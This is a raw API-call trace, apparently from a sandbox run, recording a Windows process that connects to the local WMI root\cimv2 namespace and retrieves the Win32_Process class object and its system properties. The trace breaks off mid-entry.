[0083.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0083.941] WbemDefPath:IUnknown:Release (This=0x1c02ec70) returned 0x2 [0083.941] WbemDefPath:IUnknown:Release (This=0x1c02ec70) returned 0x1 [0083.941] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0083.941] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0083.941] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ec70, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1c02ec70) returned 0x0 [0083.941] WbemDefPath:IUnknown:AddRef (This=0x1c02ec70) returned 0x3 [0083.941] WbemDefPath:IUnknown:Release (This=0x1c02ec70) returned 0x2 [0083.942] WbemDefPath:IWbemPath:SetText (This=0x1c02ec70, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0083.942] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0083.942] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0083.942] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.942] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0083.942] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0083.942] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0083.942] IUnknown:Release (This=0x111f638) returned 0x1 [0083.943] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf77e90) returned 0x0 [0083.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77e90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0083.943] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf77e90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf77dd0) returned 0x0 [0083.943] WbemLocator:IUnknown:Release (This=0x1bf77e90) returned 0x0 [0083.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77dd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf77dd0) returned 0x0 [0083.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77dd0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0083.944] WbemLocator:IUnknown:AddRef (This=0x1bf77dd0) returned 0x3 [0083.944] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77dd0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0083.944] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77dd0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0083.944] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77dd0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0083.944] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0083.944] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0083.944] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77dd0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0083.944] WbemLocator:IUnknown:Release (This=0x1bf77dd0) returned 0x2 [0083.944] WbemLocator:IUnknown:Release (This=0x1bf77dd0) returned 0x1 [0083.944] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0083.944] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0083.944] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf77dd0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf77dd0) returned 0x0 [0083.944] WbemLocator:IUnknown:AddRef (This=0x1bf77dd0) returned 0x3 [0083.944] WbemLocator:IUnknown:Release (This=0x1bf77dd0) returned 0x2 [0083.945] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0083.945] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0083.945] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.945] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf77df0) returned 0x0 [0083.945] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf77df0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf29d90) returned 0x0 [0084.010] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29d90, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf96a20) returned 0x0 [0084.010] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96a20, pProxy=0x1bf29d90, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0084.010] WbemLocator:IUnknown:Release (This=0x1bf96a20) returned 0x1 [0084.010] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29d90, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf96a60) returned 0x0 [0084.010] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29d90, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf96a20) returned 0x0 [0084.010] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96a20, pProxy=0x1bf29d90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0084.010] WbemLocator:IUnknown:Release (This=0x1bf96a20) returned 0x2 [0084.010] WbemLocator:IUnknown:Release (This=0x1bf96a60) returned 0x1 [0084.011] CoTaskMemFree (pv=0x11dcee0) [0084.011] WbemLocator:IUnknown:AddRef (This=0x1bf29d90) returned 0x2 [0084.011] WbemLocator:IUnknown:Release (This=0x1bf77df0) returned 0x0 [0084.011] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0084.011] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0084.011] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29d90, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf96a30) returned 0x0 [0084.011] WbemLocator:IRpcOptions:Query (in: This=0x1bf96a30, pPrx=0x1bf77d50, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0084.012] WbemLocator:IUnknown:Release (This=0x1bf96a30) returned 0x2 [0084.012] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0084.012] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0084.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29d90, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf29d90) returned 0x0 [0084.012] WbemLocator:IUnknown:Release (This=0x1bf29d90) returned 0x2 [0084.012] SysStringLen (param_1=0x0) returned 0x0 [0084.012] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0084.012] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0084.012] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.012] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0084.012] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f030, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0084.013] IWbemServices:GetObject (in: This=0x1bf29d90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1c0289f0, ppCallResult=0x0) returned 0x0 [0084.016] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0084.016] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0084.016] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0084.016] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0084.017] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0084.017] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0084.017] IUnknown:Release (This=0x111f638) returned 0x1 [0084.020] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf77df0) returned 0x0 [0084.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77df0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0084.020] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77df0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1c02ebb0) returned 0x0 [0084.020] WbemDefPath:IUnknown:Release (This=0x1bf77df0) returned 0x0 [0084.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1c02ebb0) returned 0x0 [0084.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0084.021] WbemDefPath:IUnknown:AddRef (This=0x1c02ebb0) returned 0x3 [0084.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0084.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0084.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf77e10) returned 0x0 [0084.021] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77e10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.021] WbemDefPath:IUnknown:Release (This=0x1bf77e10) returned 0x3 [0084.021] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0084.021] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0084.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0084.021] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x2 [0084.021] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x1 [0084.021] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0084.021] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0084.021] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02ebb0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c02ebb0) returned 0x0 [0084.021] WbemDefPath:IUnknown:AddRef (This=0x1c02ebb0) returned 0x3 [0084.021] WbemDefPath:IUnknown:Release (This=0x1c02ebb0) returned 0x2 [0084.022] WbemDefPath:IWbemPath:SetText (This=0x1c02ebb0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0084.022] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0084.022] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0084.022] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0084.022] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0084.022] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0084.022] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0084.023] IWbemClassObject:Get (in: This=0x1c0289f0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0084.023] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0084.023] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0084.023] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.023] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.023] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.023] IUnknown:Release (This=0x111f638) returned 0x1 [0084.025] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf77ef0) returned 0x0 [0084.025] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77ef0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.025] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77ef0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02eaf0) returned 0x0 [0084.026] WbemDefPath:IUnknown:Release (This=0x1bf77ef0) returned 0x0 [0084.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02eaf0) returned 0x0 [0084.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.026] WbemDefPath:IUnknown:AddRef (This=0x1c02eaf0) returned 0x3 [0084.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eaf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, 